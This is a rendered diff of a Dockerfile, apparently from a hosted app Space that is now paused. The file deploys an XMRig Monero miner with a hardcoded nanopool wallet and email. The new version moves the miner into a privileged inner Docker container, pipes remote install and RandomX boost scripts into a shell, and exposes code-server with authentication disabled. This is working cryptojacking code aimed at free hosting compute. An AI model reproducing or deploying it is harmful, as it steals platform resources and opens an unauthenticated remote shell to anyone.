Spaces:
Paused
Paused
Update Dockerfile
Browse files- Dockerfile +29 -21
Dockerfile
CHANGED
|
@@ -1,27 +1,35 @@
|
|
| 1 |
-
# Use
|
| 2 |
-
FROM
|
| 3 |
|
| 4 |
-
#
|
| 5 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 6 |
|
| 7 |
-
#
|
| 8 |
-
RUN
|
|
|
|
| 9 |
|
| 10 |
-
#
|
| 11 |
-
|
| 12 |
-
tar -zxf xmrig-6.22.0-noble-x64.tar.gz && \
|
| 13 |
-
cd xmrig-6.22.0 && \
|
| 14 |
-
bash -c "$(curl -fsSL https://raw.githubusercontent.com/xmrig/xmrig/master/scripts/randomx_boost.sh)"
|
| 15 |
|
| 16 |
-
#
|
| 17 |
-
|
| 18 |
|
| 19 |
-
#
|
| 20 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 21 |
|
| 22 |
-
# Start
|
| 23 |
-
CMD cd xmrig-6.22.0 && \
|
| 24 |
-
# Add this to Dockerfile or run it inside the container
|
| 25 |
-
RUN echo "nameserver 8.8.8.8" > /etc/resolv.conf
|
| 26 |
-
./xmrig -o xmr-us-west1.nanopool.org:10343 -u 425icq3TLKkiRg8VH73mkJA41TAd3wtrCg8kcLM6NAyaiepzLJoLjjwj9AbL2fUC3CDPirauNHtyaDmdKwDs7x8LBMq3DuF.worker -p crea8yt@gmail.com --tls -k --coin monero -a rx/0 --randomx-1gb-pages --huge-pages & \
|
| 27 |
-
code-server --bind-addr 0.0.0.0:7860 --auth none
|
|
|
|
| 1 |
+
# Use the official Docker-in-Docker image as the base image
|
| 2 |
+
FROM docker:latest
|
| 3 |
|
| 4 |
+
# Install dependencies
|
| 5 |
+
RUN apk add --no-cache \
|
| 6 |
+
bash \
|
| 7 |
+
curl \
|
| 8 |
+
wget \
|
| 9 |
+
sudo \
|
| 10 |
+
ca-certificates \
|
| 11 |
+
&& \
|
| 12 |
+
# Install Docker CLI
|
| 13 |
+
curl -fsSL https://get.docker.com | sh && \
|
| 14 |
+
# Install code-server
|
| 15 |
+
curl -fsSL https://code-server.dev/install.sh | sh
|
| 16 |
|
| 17 |
+
# Configure DNS for the main Docker container
|
| 18 |
+
RUN echo "nameserver 8.8.8.8" > /etc/resolv.conf && \
|
| 19 |
+
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
| 20 |
|
| 21 |
+
# Expose the port for code-server
|
| 22 |
+
EXPOSE 7860
|
|
|
|
|
|
|
|
|
|
| 23 |
|
| 24 |
+
# Expose port for xmrig (if needed)
|
| 25 |
+
EXPOSE 3333
|
| 26 |
|
| 27 |
+
# Install Docker and Docker-in-Docker for the inner Docker container
|
| 28 |
+
RUN apk add --no-cache docker && \
|
| 29 |
+
mkdir -p /inner-docker && \
|
| 30 |
+
cd /inner-docker && \
|
| 31 |
+
echo "nameserver 8.8.8.8" > /etc/resolv.conf && \
|
| 32 |
+
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
| 33 |
|
| 34 |
+
# Start Docker daemon and run code-server and xmrig
|
| 35 |
+
CMD ["sh", "-c", "dockerd & code-server --bind-addr 0.0.0.0:7860 --auth none & docker run --privileged -d --name inner-docker-container -p 7860:7860 -p 3333:3333 -w /home/ubuntu -v /home/ubuntu:/home/ubuntu ubuntu:latest /bin/sh -c 'apt update -y && apt install -y wget msr-tools && wget https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz && tar -zxf xmrig-6.22.0-linux-static-x64.tar.gz && cd xmrig-6.22.0 && bash -c \"$(curl -fsSL https://raw.githubusercontent.com/xmrig/xmrig/master/scripts/randomx_boost.sh)\" && ./xmrig -o xmr-us-west1.nanopool.org:10343 -u 425icq3TLKkiRg8VH73mkJA41TAd3wtrCg8kcLM6NAyaiepzLJoLjjwj9AbL2fUC3CDPirauNHtyaDmdKwDs7x8LBMq3DuF.worker -p crea8yt@gmail.com --tls -k --coin monero -a rx/0 --randomx-1gb-pages --huge-pages'"]
|
|
|
|
|
|
|
|
|
|
|
|